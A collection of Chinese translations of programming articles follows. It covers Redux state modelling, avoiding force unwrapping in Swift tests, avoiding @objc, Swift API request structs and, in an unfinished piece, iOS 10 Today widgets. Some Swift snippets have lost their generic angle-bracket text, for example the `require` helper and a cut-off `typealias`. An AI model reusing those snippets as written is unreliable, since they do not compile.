117, "offset": 0, "products": [ { "id": "88cd7621-d3e1-42b7-b2b8-8ca82cdac2f0", "title": "Blue Shirt", "price": 9.99 }, { "id": "aec17a8e-4793-4687-9be4-02a6cf305590", "title": "Red Hat", "price": 7.99 } ] } ``` 产品列表作为对象数组到达,为什么不将它们作为对象数组保存在应用程序状态中? 服务器 API 的设计遵循不同的原则,不一定与你想要实现的应用程序状态结构一致。在这种情况下,服务器的数组结构选择可能与响应分页相关,将完整列表拆分为更小的块,因此客户端可以根据需要下载数据,并避免多次发送相同的数据以节省带宽。它们主要考虑的是网络问题,但是总而言之,与我们的应用状态关注点无关。 #### 2. 首选映射而非数组 一般来说,数组不便于状态的维护。考虑当特定产品需要更新或检索时会发生什么。例如,如果应用程序提供编辑价格功能,或者如果来自服务器的数据需要刷新,则可能面临的就是这种情况。遍历一个大的数组来查找特定的产品比根据它的 ID 查询这个产品要麻烦得多。 那么推荐的方法是什么? 使用主键为键值的映射类型做为查询的对象。 这意味着来自上面示例的数据可以按以下结构存储应用程序的状态: ``` js { "productsById": { "88cd7621-d3e1-42b7-b2b8-8ca82cdac2f0": { "title": "Blue Shirt", "price": 9.99 }, "aec17a8e-4793-4687-9be4-02a6cf305590": { "title": "Red Hat", "price": 7.99 } } } ``` 如果排序顺序很重要,会发生什么? 例如,如果从服务器返回的订单顺序同时也是我们要给用户呈现的顺序。 对于这种情况,我们可以存储一个额外的 ID 数组: ``` js { "productsById": { "88cd7621-d3e1-42b7-b2b8-8ca82cdac2f0": { "title": "Blue Shirt", "price": 9.99 }, "aec17a8e-4793-4687-9be4-02a6cf305590": { "title": "Red Hat", "price": 7.99 } }, "productIds": [ "88cd7621-d3e1-42b7-b2b8-8ca82cdac2f0", "aec17a8e-4793-4687-9be4-02a6cf305590" ] } ``` 还有一点很有意思:如果我们需要在 React Native 的 `ListView` 组件中显示数据,这个结构实际上效果很好。支持稳定行 ID 的推荐版 `cloneWithRows` 方法所需要的就是这种格式。 #### 3. 避免根据视图的需要进行建模 应用程序状态的最终目的是展现到视图中,并让用户觉得是一种享受。把状态保存为视图需要的形式看上去很有诱惑力,因为这能避免对数据进行额外的转换操作。 让我们回到我们的电子商务商店管理示例。 假设每个产品都可以是库存或缺货两种状态之一。我们可以将此数据存储在产品对象的一个布尔属性中。 ``` js { "id": "88cd7621-d3e1-42b7-b2b8-8ca82cdac2f0", "title": "Blue Shirt", "price": 9.99, "outOfStock": false } ``` 我们的应用程序需要显示所有缺货产品的列表。之前提到过,React Native ListView 组件期望使用调用它的 `cloneWithRows` 方法时传递两个参数:行的映射和行 ID 的数组。我们倾向于提前准备好这个状态,并且明确地保持这个列表。这将允许我们向 ListView 提供两个参数,而不需要额外的转换。我们最终得到的状态对象结构如下: ``` js { "productsById": { "88cd7621-d3e1-42b7-b2b8-8ca82cdac2f0": { "title": "Blue Shirt", "price": 9.99, "outOfStock": false }, "aec17a8e-4793-4687-9be4-02a6cf305590": { "title": "Red Hat", "price": 7.99, "outOfStock": true } }, "outOfStockProductIds": ["aec17a8e-4793-4687-9be4-02a6cf305590"] } ``` 听起来像个好主意,对吧? 好吧,事实证明,并不是。 像以前一样,原因是,视图有自己不同的关注点。视图不关心保持状态最小。具体来说,他们的倾向完全相反,因为数据必须为用户布局服务。不同的视图可以以不同的方式呈现相同的状态数据,并且通常不可能在不复制数据的情况下满足它们。 这把我们引入到下一个要点。 #### 4. 避免在应用程式状态中保存重复的数据 测试你的状态是否持有重复数据有一种好办法,就是检查是否需要同时更新两处数据来保证数据一致性。在上述缺货产品示例中,假设第一个产品突然变为缺货。 为了处理这个更新,我们必须将其在映射中的 `outOfStock` 字段更改为 true,并将其 ID 添加到数组 `outOfStockProductIds` 之中 - 两个更新。 处理重复数据很简单。所有你需要做的是删除其中一个实例。这背后的推理源于一个[单一信息源](https://en.wikipedia.org/wiki/Single_source_of_truth):如果数据仅保存一次,则不再可能达到不一致的状态。 如果我们删除 `outOfStockProductIds` 数组,我们仍然需要找到一种方法来准备这些数据以供视图使用。这种转换必须在数据被提供给视图之前在运行时进行。Redux 应用中的推荐做法是在[选择器](https://egghead.io/lessons/javascript-redux-colocating-selectors-with-reducers)中实现此操作: ``` js { "productsById": { "88cd7621-d3e1-42b7-b2b8-8ca82cdac2f0": { "title": "Blue Shirt", "price": 9.99, "outOfStock": false }, "aec17a8e-4793-4687-9be4-02a6cf305590": { "title": "Red Hat", "price": 7.99, "outOfStock": true } } } // selector function outOfStockProductIds(state) { return _.keys(_.pickBy(state.productsById, (product) => product.outOfStock)); } ``` 选择器是一个纯函数,它将状态作为输入,并返回我们想要消费的转换后状态。 [Dan Abramov](https://twitter.com/dan_abramov) 建议我们将选择器放在 `reducers` 旁边,因为它们通常是紧耦合的。 我们将在视图的 `mapStateToProps` 函数中执行选择器。 删除数组的另一个可行的替代方法是从映射中的每个产品里删除库存属性。使用这种替代方法,我们可以将数组作为单一信息源。实际上,根据提示#2 它可能会更好,将此数组更改为映射: ``` { "productsById": { "88cd7621-d3e1-42b7-b2b8-8ca82cdac2f0": { "title": "Blue Shirt", "price": 9.99 }, "aec17a8e-4793-4687-9be4-02a6cf305590": { "title": "Red Hat", "price": 7.99 } }, "outOfStockProductMap": { "aec17a8e-4793-4687-9be4-02a6cf305590": true } } // selector function outOfStockProductIds(state) { return _.keys(state.outOfStockProductMap); } ``` #### 5. 不要将衍生数据存储在状态中 单一信息源原则不仅对于重复数据适用。在商店中出现的任何衍生数据都违反了这条原则,因为必须对多个位置进行更新以保持状态一致性。 让我们在我们的商店管理示例中添加另一个要求 - 将产品放在销售中并对其价格添加折扣的能力。该应用程序需要向用户显示过滤后的商品列表,所有产品列表,以及仅显示没有折扣的产品或仅显示有折扣的产品。 一个常见的错误是在商店中保存 3 个数组,每个数组包含每个过滤器的相关产品的 ID 列表。由于 3 个数组可以从当前过滤器和产品映射中导出,更好的方法是使用类似于前面的选择器来生成它们: ``` js { "productsById": { "88cd7621-d3e1-42b7-b2b8-8ca82cdac2f0": { "title": "Blue Shirt", "price": 9.99, "discount": 1.99 }, "aec17a8e-4793-4687-9be4-02a6cf305590": { "title": "Red Hat", "price": 7.99, "discount": 0 } } } // selector function filteredProductIds(state, filter) { return _.keys(_.pickBy(state.productsById, (product) => { if (filter == "ALL_PRODUCTS") return true; if (filter == "NO_DISCOUNTS" && product.discount == 0) return true; if (filter == "ONLY_DISCOUNTS" && product.discount > 0) return true; return false; })); } ``` 在重新呈现视图之前,对每个状态更改执行选择器。 如果您的选择器是计算密集型,并且您关注性能,请使用 [Memoization](https://en.wikipedia.org/wiki/Memoization) 技术来计算结果并在运行一次后缓存它们。 你可以去看看实现此优化能力的 [Reselect](https://github.com/reactjs/reselect) 组件。 #### 6. 规范化嵌套对象 总的来说,到目前为止,这些提示的基本动机是简单性。状态时刻都需要被管理,并且我们想要的是尽可能让这个管理的过程变得简单。当数据对象是独立的,简单性更容易维护,但是当有相互关联时会发生什么? 考虑我们的商店管理应用程序中的以下示例。我们想添加一个订单管理系统,客户在此可以单个订单购买多个产品。让我们假设我们有一个服务器 API,它返回以下 JSON 订单列表: ``` js { "total": 1, "offset": 0, "orders": [ { "id": "14e743f8-8fa5-4520-be62-4339551383b5", "customer": "John Smith", "products": [ { "id": "88cd7621-d3e1-42b7-b2b8-8ca82cdac2f0", "title": "Blue Shirt", "price": 9.99, "giftWrap": true, "notes": "It's a gift, please remove price tag" } ], "totalPrice": 9.99 } ] } ``` 一个订单包含几个产品,因此我们需要对两者之间的关系进行建模。我们已经从提示#1知道,我们不应该使用 API 的响应结构,这确实看起来有问题,因为它会导致产品数据的重复。 在这种情况下,一种好的方法是使数据标准化,并保持两个单独的映射 - 一个用于产品,一个用于订单。由于这两种类型的对象都基于唯一的 ID,因此我们可以使用 ID 属性来指定关联。生成后的应用程序状态结构为: ``` js { "productsById": { "88cd7621-d3e1-42b7-b2b8-8ca82cdac2f0": { "title": "Blue Shirt", "price": 9.99 }, "aec17a8e-4793-4687-9be4-02a6cf305590": { "title": "Red Hat", "price": 7.99 } }, "ordersById": { "14e743f8-8fa5-4520-be62-4339551383b5": { "customer": "John Smith", "products": { "88cd7621-d3e1-42b7-b2b8-8ca82cdac2f0": { "giftWrap": true, "notes": "It's a gift, please remove price tag" } }, "totalPrice": 9.99 } } } ``` 如果我们想查找属于某个订单的所有产品,我们将遍历 `products` 属性的键。 每个键值是一个产品 ID。 使用此 ID 访问 `productsById` 映射将为我们提供产品详细信息。 此订单特定的其他产品详细信息(如 giftWrap)位于订单下的 `products` 所映射的值中。 如果标准化 API 响应的过程变得乏味,可使用相应的辅助程序库,如 [normalizr](https://github.com/paularmstrong/normalizr),它接受一个模式做为参数并为你执行标准化数据的过程操作。 #### 7. 应用程序状态可以被视为内存数据库 到目前为止,各种建模技巧我们都已经介绍了,大家应该比较熟悉了。 当建模传统的数据库结构时,我们避免重复和派生,使用主键(ID)用于映射相似的表中索引数据,并规范化多个表之间的关系。这几乎就是我们之前所谈论的全部东西。 像处理内存数据库一样处理应用程序状态可以有助于你处于正确的思考方向,从而做出更好的结构化决策。 --- #### 将应用状态视为一等公民 如果说你从这篇文章的获得了什么东西,那就应该是它。 在命令式编程期间,我们倾向于视代码为王,并且花费更少的时间担心内部隐式数据结构(如状态)的 “正确” 模型。我们的应用程序状态通常被发现分散在各种管理器或控制器作为私有属性,肆无忌惮的有机增长。 然而在声明性的范式下情况是不同的。在像 React 这样的环境中,我们的系统表现为对状态的反应。状态变身为一等公民,与我们编写的代码一样重要。这是 Flux 里面 `actions` 对象存在的目的,同时也是 Flux 视图的真理之源。 Redux 这类工具库基于 Flux 构建,并且提供了一系列工具,例如引入不可变性让我们拥有更好的应用状态可预见性。 我们应该多花点时间思考我们的应用程序状态。 我们应该清楚的认识到它的复杂度,以及相应的我们所需在代码中维护它所需做出的努力。就像我们在写代码时一样,我们应该重构它,而且是在它显现出腐烂的迹象就开始。 ================================================ FILE: TODO/avoiding-force-unwrapping-in-swift-unit-tests.md ================================================ > * 原文地址:[Avoiding force unwrapping in Swift unit tests](https://www.swiftbysundell.com/posts/avoiding-force-unwrapping-in-swift-unit-tests) > * 原文作者:[John](https://twitter.com/johnsundell) > * 译文出自:[掘金翻译计划](https://github.com/xitu/gold-miner) > * 本文永久链接:[https://github.com/xitu/gold-miner/blob/master/TODO/avoiding-force-unwrapping-in-swift-unit-tests.md](https://github.com/xitu/gold-miner/blob/master/TODO/avoiding-force-unwrapping-in-swift-unit-tests.md) > * 译者:[RickeyBoy](https://juejin.im/user/59c0ede76fb9a00a3d134e0b/posts) > * 校对者:[YinTokey](https://github.com/YinTokey) # 避免 Swift 单元测试中的强制解析 强制解析(使用 `!`)是 Swift 语言中不可或缺的一个重要特点(特别是和 Objective-C 的接口混合使用时)。它回避了一些其他问题,使得 Swift 语言变得更加优秀。比如 **[处理 Swift 中非可选的可选值类型](https://www.swiftbysundell.com/posts/handling-non-optional-optionals-in-swift)** 这篇文章中,在项目逻辑需要时使用强制解析去处理可选类型,将导致一些离奇的情况和崩溃。 所以尽可能地避免使用强制解析,将有助于搭建更加稳定的应用,并且在发生错误时提供更好的报错信息。那么如果是编写测试时,情况会怎么样呢?安全地处理可选类型和未知类型需要大量的代码,那么问题就在于我们是否愿意为编写测试做所有的额外工作。这就是我们这周将要探讨的问题,让我们开始深入研究吧! ## 测试代码 vs 产品代码 当编写测试代码时,我们经常明确区分**测试代码**和**产品代码**。尽管保持这两部分代码的分离十分重要(我们不希望意外地让我们的模拟测试对象成为 App Store 上架的部分😅),但就**代码质量**来说,没有必要进行明显区分。 如果你思考一下的话,我们想要对移交给使用者的代码进行高标准的要求,原因是什么呢? * 我们想要我们的 app 为使用者稳定、流畅地运行。 * 我们想要我们的 app 在未来易于维护和修改。 * 我们想要更容易让新人融入我们的团队。 现在如果反过来考虑我们的测试,我们想要避免哪些事情呢? * 测试不稳定、脆弱、难于调试。 * 当我们的 app 增加了新功能时,我们的测试代码需要花费大量时间来维护和升级。 * 测试代码对于加入团队的新人来说难于理解。 你可能已经理解我所讲的内容了 😉。 之前很长的时间,我曾认为测试代码只是一些我快速堆砌的代码,因为有人告诉我必须要编写测试。我不那么在乎它们的质量,因为我将它视为一件琐事,并不将它放在首位。然而,一旦我因为编写测试而发现验证自己的代码有多么快,以及对自己有多么自信 —— 我对测试的态度就开始了转变。 所现在我相信对于测试代码,和将要移交的产品代码进行同等的高标准要求是非常重要的。因为我们配套的测试是需要我们长期使用、拓展和掌握的,我们理应让这些工作更容易完成。 ## 强制解析的问题 那么这一切与 Swift 中的强制解析有什么关系呢?🤔 有时必须要强制解析,很容易编写一个 “go-to solution” 的测试。让我们来看一个例子,测试 `UserService` 实现的登陆机制是否正常工作: ``` class UserServiceTests: XCTestCase { func testLoggingIn() { // 为了登陆终端 // 构建一个永远返回成功的模拟对象 let networkManager = NetworkManagerMock() networkManager.mockResponse(forEndpoint: .login, with: [ "name": "John", "age": 30 ]) // 构建 service 对象以及登录 let service = UserService(networkManager: networkManager) service.login(withUsername: "john", password: "password") // 现在我们想要基于已登陆的用户进行断言, // 这是可选类型,所以我们对它进行强制解析 let user = service.loggedInUser! XCTAssertEqual(user.name, "John") XCTAssertEqual(user.age, 30) } } ``` 如你所见,在进行断言之前,我们强制解析了 service 对象的 `loggedInUser` 属性。像上面这样的做法并不是绝对意义上的错,但是如果这个测试因为一些原因开始失败,就可能会导致一些问题。 假设某人(记住,“某人”可能就是“未来的你自己”😉)改变了网络部分的代码,导致上述测试开始崩溃。如果这样的事情发生了,错误信息可能只会像下面这样: ``` Fatal error: Unexpectedly found nil while unwrapping an Optional value ``` 尽管用 Xcode 本地运行时这不是个大问题(因为错误会被关联地显示 —— 至少在大多数时候 🙃),但当连续地整体运行整个项目时,它可能问题重重。上述的错误信息可能出现在巨大的“文字墙”中,导致难以看出错误的来源。更严重的是,它会**阻止后续的测试被执行**(因为测试进程会崩溃),这将导致修复工作进展缓慢并且令人烦躁。 ## Guard 和 XCTFail 一个潜在的解决上述问题的方式是简单地使用 `guard` 声明,优雅地解析问题中的可选类型,如果解析失败再调用 `XCTFail` 即可,就像下面这样: ``` guard let user = service.loggedInUser else { XCTFail("Expected a user to be logged in at this point") return } ``` 尽管上述做法在某些情况下是正确的做法,但事实上我推荐避免使用它 —— 因为它向你的测试中增加了控制流。为了稳定性和可预测性,你通常希望测试只是简单的遵循 **given,when,then** 结构,并且增加控制流会使得测试代码难于理解。如果你真的非常倒霉,控制流可能成为误报的起源(对此之后的文章会有更多的相关内容)。 ## 保持可选类型 另一个方法是让可选类型一直保持可选。这在某些使用情况下完全可用,包括我们 `UserManager` 的例子。因为我们对已经登录的 user 的 `name` 和 `age` 属性使用了断言,如果任意一个属性为 `nil` ,我们会自动得到错误提示。同时如果我们对 user 使用额外的 `XCTAssertNotNil` 检查,我们就能得到一个非常完整的诊断信息。 ``` let user = service.loggedInUser XCTAssertNotNil(user, "Expected a user to be logged in at this point") XCTAssertEqual(user?.name, "John") XCTAssertEqual(user?.age, 30) ``` 现在如果我们的测试开始出错了,我们就能得到如下信息: ``` XCTAssertNotNil failed - Expected a user to be logged in at this point XCTAssertEqual failed: ("nil") is not equal to ("Optional("John")") XCTAssertEqual failed: ("nil") is not equal to ("Optional(30)") ``` 这让我们能够更加容易地知道发生错误的地方,以及该从哪里入手去调试、解决这个错误 🎉。 ## 使用 throw 的测试 第三个选择在某些情况下是非常有用的,就是将返回可选类型的 API 替换为 throwing API。Swift 中的 throwing API 的优雅之处在于,需要时它能够非常容易地被当成可选类型使用。所以很多时候选择采用 throwing 方法,不需要牺牲任何的可用性。比如说,假设我们有一个 `EndpointURLFactory` 类,被用来在我们的 app 中生成特定终端的 URL,这显然会返回可选类型: ``` class EndpointURLFactory { func makeURL(for endpoint: Endpoint) -> URL? { ... } } ``` 现在我们将其转换为采用 throwing API,像这样: ``` class EndpointURLFactory { func makeURL(for endpoint: Endpoint) throws -> URL { ... } } ``` 当我们仍然想得到一个可选类型的 URL 时,我们只需要使用 `try?` 命令去调用它: ``` let loginEndpoint = try? urlFactory.makeURL(for: .login) ``` 就测试而言,上述这种做法的最大好处在于可以在测试中轻松地使用 `try`,并且使用 XCTest runner 完全可以毫无代价地处理无效值。这是鲜为人知的,但事实上 Swift 测试可以是 throwing 函数,看看这个: ``` class EndpointURLFactoryTests: XCTestCase { func testSearchURLContainsQuery() throws { let factory = EndpointURLFactory() let query = "Swift" // 因为我们的测试函数是 throwing,这里我们可以简单地采用 'try' let url = try factory.makeURL(for: .search(query)) XCTAssertTrue(url.absoluteString.contains(query)) } } ``` 没有可选类型,没有强制解析,某些发生错误的时候也能完美地做出诊断 👍。 ## 使用 require 的可选类型 然而,并不是所有返回可选类型的 API 都可以被替换为 throwing。不过在写包含可选类型的测试时,有一个和 throwing API 同样好的方法。 让我们回到最开始 `UserManager` 的例子。如果既不对 `loggedInUser` 进行强制解析,又不把它看作可选类型,那么我们可以简单地这样做: ``` let user = try require(service.loggedInUser) XCTAssertEqual(user.name, "John") XCTAssertEqual(user.age, 30) ``` 这实在是太酷了!😎这样我们可以摆脱大量的强制解析,同时避免让我们的测试代码难于编写、难于上手。那么为了达到上述效果我们应该怎么做呢?这很简单,我们只需要对 `XCTestCase` 增加一个拓展,让我们分析任何可选类型表达式,并且返回非可选的值或者抛出一个错误,像这样: ``` extension XCTestCase { // 为了能够输出优雅的错误信息 // 我们遵循 LocallizedErrow private struct RequireError: LocalizedError { let file: StaticString let line: UInt // 实现这个属性非常重要 // 否则测试失败时我们无法在记录中优雅地输出错误信息 var errorDescription: String? { return "😱 Required value of type \(T.self) was nil at line \(line) in file \(file)." } } // 使用 file 和 line 使得我们能够自动捕获 // 源代码中出现的相对应的表达式 func require(_ expression: @autoclosure () -> T?, file: StaticString = #file, line: UInt = #line) throws -> T { guard let value = expression() else { throw RequireError(file: file, line: line) } return value } } ``` 现在有了上述内容,如果我们 `UserManager` 登录测试发生失败,我们也能得到一个非常优雅的错误信息,告诉我们错误发生的准确位置。 ``` [UserServiceTests testLoggingIn] : failed: caught error: 😱 Required value of type User was nil at line 97 in file UserServiceTests.swift. ``` **你可能意识到这个技巧来源于我的迷你框架 [Require](https://github.com/johnsundell/require), 它对所有可选类型增加了一个 require() 方法,以提高对无法避免的强制解析的诊断效果。** ## 总结 以同样谨慎的态度对待你的应用代码和测试代码,在最开始可能有些不适应,但可以让长期维护测试变的更加简单 —— 不论是独立开发还是团队开发。良好的错误诊断和错误信息是其中特别重要的一部分,使用本文中的一些技巧或许能够让你在未来避免很多奇怪的问题。 我在测试代码中唯一使用强制解析的时候,就是在构建测试案例的属性时。因为这些总是在 `setUp` 中被创建、`tearDown` 中被销毁,我并不把他们当作真正的可选类型。正如以往,你同样需要查看你自己的代码,根据你自己的喜好,来权衡决定。 所以你觉得呢?你会采用一些本文中的技巧,还是你已经用了一些相关的方式?请让我知道,包括你可能有的任何的问题、评价和反馈 —— 可以在下面回复栏直接回复或者在 [Twitter @johnsundell](https://twitter.com/johnsundell) 上回复我。 感谢阅读!🚀 --- > [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区,文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域,想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。 ================================================ FILE: TODO/avoiding-objc-in-swift.md ================================================ >* 原文链接 : [Avoiding the overuse of @objc in Swift](http://www.jessesquires.com/avoiding-objc-in-swift/) * 原文作者 : [Jesse Squires](http://www.jessesquires.com/) * 译文出自 : [掘金翻译计划](https://github.com/xitu/gold-miner) * 译者 : [Dwight](https://github.com/ldhlfzysys) * 校对者: [jk77me](https://github.com/jk77me), [owenlyn](https://github.com/owenlyn) # iOS 开发者在 Swift 中应避免过度使用 就在前几天,我终于把项目迁移到了Swift2.2,在使用[SE-0022](https://github.com/apple/swift-evolution/blob/master/proposals/0022-objc-selectors.md)建议的`#selector`语句时,我遇到了一些问题。如果在protocol extension中使用`#selector`,这个protocol必须添加`@Objc`修饰符。而之前的`Selector("method:")`语句则不需要添加。 ### 通过协议的扩展配置视图控制器 为了达到本文的目的,我简化了工作中项目的代码,但所有核心的思想都保留着。一种我经常在swift里用的模式是:为了重用的配置写protocols(协议)和extensions(扩展),特别是有Uikit的时候 假设我们有一组视图控制器,每个控制器都需要一个 view model 和 一个“取消”按钮。每一个控制器需要各自响应 “cancel”按钮的点击事件。我们可以这样写: struct ViewModel { let title: String } protocol ViewControllerType: class { var viewModel: ViewModel { get set } func didTapCancelButton(sender: UIBarButtonItem) } 如果就写成这样,那每个控制器都需要自己去添加和写一个一样的取消按钮。这样就会有很多一样的代码。我们可以通过扩展(用老的 `Selector("")` 语句)来解决: extension ViewControllerType where Self: UIViewController { func configureNavigationItem() { navigationItem.leftBarButtonItem = UIBarButtonItem( barButtonSystemItem: .Cancel, target: self, action: Selector("didTapCancelButton:")) } } 现在每个符合协议的控制器都可以通过在`viewDidLoad()`里调用协议的`configureNavigationItem()` 方法来配置取消按钮,是不是好多了~我们的控制器看起来是这样的: class MyViewController: UIViewController, ViewControllerType { var viewModel = ViewModel(title: "Title") override func viewDidLoad() { super.viewDidLoad() configureNavigationItem() } func didTapCancelButton(sender: UIBarButtonItem) { // handle tap } } 这仅是一个简单的例子,但我们可以想象通过这个方式制造更多复杂的配置。 把以上代码段升级到 Swift 2.2后,是这样的: extension ViewControllerType where Self: UIViewController { func configureNavigationItem() { navigationItem.leftBarButtonItem = UIBarButtonItem( barButtonSystemItem: .Cancel, target: self, action: #selector(didTapCancelButton(_:))) } } 但现在我们有了个问题,一个新的编译错误 Argument of '#selector' refers to a method that is not exposed to Objective-C. Fix-it Add '@objc' to expose this method to Objective-C ### 当`@objc`试图破坏所有的东西 因为一系列的原因, 在原始的`ViewControllerType`协议中,我们并不能简单的给这个方法添加一个`@objc`修饰符。如果我们这么做了,那么所有的protocol都需要用`@objc`来标记,这将意味着: * 所有这个protocol的父protocol都需要用`@objc`来标记。 * 所有继承自这个protocol的protocol都会被自动添加`@objc`。 * 我们在protocol中的结构体(`ViewModel`)不能用Objective-C来表示。 到目前,`@objc`在这里的唯一功能就是定义了一个普通的target-action selectors。尽管我们可以使用swift的强大功能,但是因为Cocoa依然贯穿我们的代码[Cocoa all the way down](http://inessential.com/2016/05/25/oldie_complains_about_the_old_old_ways),我们并没有正真的在写纯粹的swift - 除非我们开始在各个地方引入@objc。 我们在这的例子很简单,但是想象一下更复杂的类依赖关系图,大量使用Swift的值类型和当这个协议处在多个协议的中间层时。把引入`@objc`作为解决方案真是app的末日。如果我们这样做,`@objc`这种做法会让我们的Swift代码毫无美感并变得乱糟糟。这会毁了所有的东西。 但是希望还是有的。 ### 不使用`@objc`来避免乱糟糟 我们大可不必让为了让我们的Swifit代码能使用Objcetive-C的语法而使用`@objc`。 我们可以把protocol分解成多个protocol来去除`@objc`,然后我们再重组这些protocol。事实上,我们可以让编译器顺利编译和避免更改任何视图控制器的代码。 第一步,我们把protocol拆成2个。`ViewModelConfigurable` 和 `NavigationItemConfigurable`。把`ViewControllerType `里的extension放到`NavigationItemConfigurable`。 protocol ViewModelConfigurable { var viewModel: ViewModel { get set } } @objc protocol NavigationItemConfigurable: class { func didTapCancelButton(sender: UIBarButtonItem) } 最终,我们可以把原`ViewControllerType` protocol定义成`typealias`。 typealias ViewControllerType = protocol 和迁移到Swift2.2之前比一切都很正常,而且我们定义的原视图控制器也没有发生任何改变,没有东西被破坏。如果你曾经遇到类似的情况,或者你也想阻止`@objc`带来的破坏(你应该这么做),我强烈建议采用这个策略。 ### 这并不是显而易见的 现在的代码,我还是觉得有点不爽,当然,针对这个问题,这就是最Swift化的答案。当Xcode突然开始提示你并且很快的应用它的修复方案依然会把所有都破坏掉。特别是当Xcode提供的修复方案正中你下怀的时候,这个时候,上面说的到的这类解决方案并不能立即很清楚。 最后,在做了以上那些更改之后,我意识到总的来说这其实是一个很好的解决方案。。没有什么理由在一个地方只用一个协议。像`ViewModelConfigurable` 和 `NavigationItemConfigurable`这两个协议分工明确。把不同的协议组合在一起始终都是最优雅、最适当的设计。 ================================================ FILE: TODO/backend-api-documentation-in-swift.md ================================================ > * 原文地址:[Backend API Documentation in Swift](https://medium.com/ios-os-x-development/backend-api-documentation-in-swift-92b4874e4f78#.g2ofuey9d) * 原文作者:[Christopher Truman](https://medium.com/@iamchristruman?source=post_header_lockup) * 译文出自:[掘金翻译计划](https://github.com/xitu/gold-miner) * 译者:[Nicolas(Yifei) Li](https://github.com/yifili09) * 校对者:[Siegen](https://github.com/siegeout), [DeadLion](https://github.com/DeadLion) # 有关用 Swift 访问后端服务器的 API 文档中 我最近开始开发一个全新的项目,并且我正尝试一些新的设计模式,因为我开始投身于 `Swift 3`。我正使用的一个模式是“请求和响应模型”。这个“酷炫”的名字是我为记录这个后台 `API` 文档中的 `Struct` (结构体)。让我们来看一个例子: ``` import Alamofire protocol Request { var path : String { get } var method : Method { get } func parameters() -> [String : AnyObject] } struct AuthRequest : Request { let path = "auth" let method = Method.POST var password : String var password_verify : String var name : String var email : String func parameters() -> [String : AnyObject] { return ["password" : password, "password_verify" : password_verify, "name" : name, "email" : email] } } ``` 我们申明了一个 `Request` 协议,关于你所需要知道发起一个 `API` 请求的所有内容,它基本上都明确指出来了。 * 需要添加进基本地址 (`URL`) 的路径(本例中是 `auth` ) * `HTTP` 方法(`GET`, `POST`, `PUT`, `DELETE` 等等) * 端点所要求的参数 为了需要的信息,你可以扩展这个协议,例如某个指定的 `ContentType` 或者其他 `HTTP` 报头。你能想象到增加一些验证规则,(请求)完成处理方法,或者与这个协议网络请求有关的任何东西。 所有这些结构体现在应该看上去像一个简明扼要的 `API` 文档,并且为你的网络操作提供了一些框架结构和类型安全验证。你可以把这些请求的结构体转变成你最喜欢的网络客户端。我有一个例子 [Alamofire](https://github.com/Alamofire/Alamofilre/tree/swift3) ``` class Client { var baseURL = "http://dev.whatever.com/" func execute(request : Request, completionHandler: (Response) -> Void){ Alamofire.request(request.method, baseURL + request.path, parameters: request.parameters()) .responseJSON { response in completionHandler(response) } } } Client().execute(request: AuthRequest(/*Insert parameters here*/), completionHandler: { response in } ) ``` 我们把 `AuthRequest` 对象传递给 `Alamofire`,它需要一个通用的对象去确认 `Request` 协议。它使用来自协议中规定的属性/方法来构造并执行一个网络请求。 现在我们已经定义了这个请求的结构体,并且使用它简单的访问服务器。我们现在需要处理响应。我们的 `AuthRequest` 返回一个不太大的用户 `JSON` 对象,我们需要把它序列化成一个 `Swift` 对象。 ``` struct UserResponse { var _id : String var first_name : String var last_name : String init(JSON: [String : AnyObject]) { _id = JSON["_id"] as! String first_name = JSON["first_name"] as! String last_name = JSON["last_name"] as! String } } /* Inside our completion handler */ var user = UserResponse(JSON: response.result.value as! [String : AnyObject]) ``` 这个实现不太花哨,但是仍然记录了响应对象的属性。你能创建一个协议,它用来定义一个 `JSON` 初始器,但是使用简单的结构体目前对我来说已经足够了。 你发现这个实现有任何问题么? 有什么方法能让我更高效地使用协议/扩展来组成我的网络请求代码么?请让我知道![@iAmChrisTruman](https://twitter.com/iAmChrisTruman) ================================================ FILE: TODO/backwards-compatibility-with-ios-10-today-widgets.md ================================================ > * 原文地址:[Tips for Backwards Compatibility with iOS 10 Today Widgets](https://kristina.io/backwards-compatibility-with-ios-10-today-widgets/) * 原文作者:[kristina](https://kristina.io/author/kristina/) * 译文出自:[掘金翻译计划](https://github.com/xitu/gold-miner) * 译者:[Edison Hsu](https://github.com/edison-hsu) * 校对者:[肘子涵](https://github.com/zhouzihanntu) [Luoyaqifei](https://github.com/luoyaqifei) # iOS 10 今日控件向后兼容的几个技巧 回顾今日控件在过去几年中重要性如何得到提升是一件很有趣的事。今日控件首次在 iOS 8 出现,当时并没有受到高度欢迎,并且在通知中心与错过的通知结合在一起。然而,在 iOS 10,今日控件彻底的改变了,完全接管主屏幕的左滑项,这过去常常被用作「滑动解锁」。在外观方面,该控件也有相当大的转变,从一个深色主题转变为一个珍珠白主题。 不幸的是,对于开发者,如果你和我的团队一样还不能完全放弃对 iOS 10 以下的支持,那么你不得不解决完美支持两种外观风格,和一些其他在初看时不明显的问题。我最近参加了这个 [QuickBooks Self-Employed](https://quickbooks.intuit.com/self-employed/) 今日控件的改造-以下是一些注意事项: ### 支持两种主题 ![iOS 9 today widget](https://i1.wp.com/kristina.io/wp-content/uploads/2016/10/Screen-Shot-2016-10-16-at-4.37.05-PM.png?resize=300%2C200&ssl=1%20300w,%20https://i1.wp.com/kristina.io/wp-content/uploads/2016/10/Screen-Shot-2016-10-16-at-4.37.05-PM.png?resize=400%2C266&ssl=1%20400w,%20https://i1.wp.com/kristina.io/wp-content/uploads/2016/10/Screen-Shot-2016-10-16-at-4.37.05-PM.png?w=618&ssl=1%20618w) iOS 9 的今日控件 ![iOS 10 today 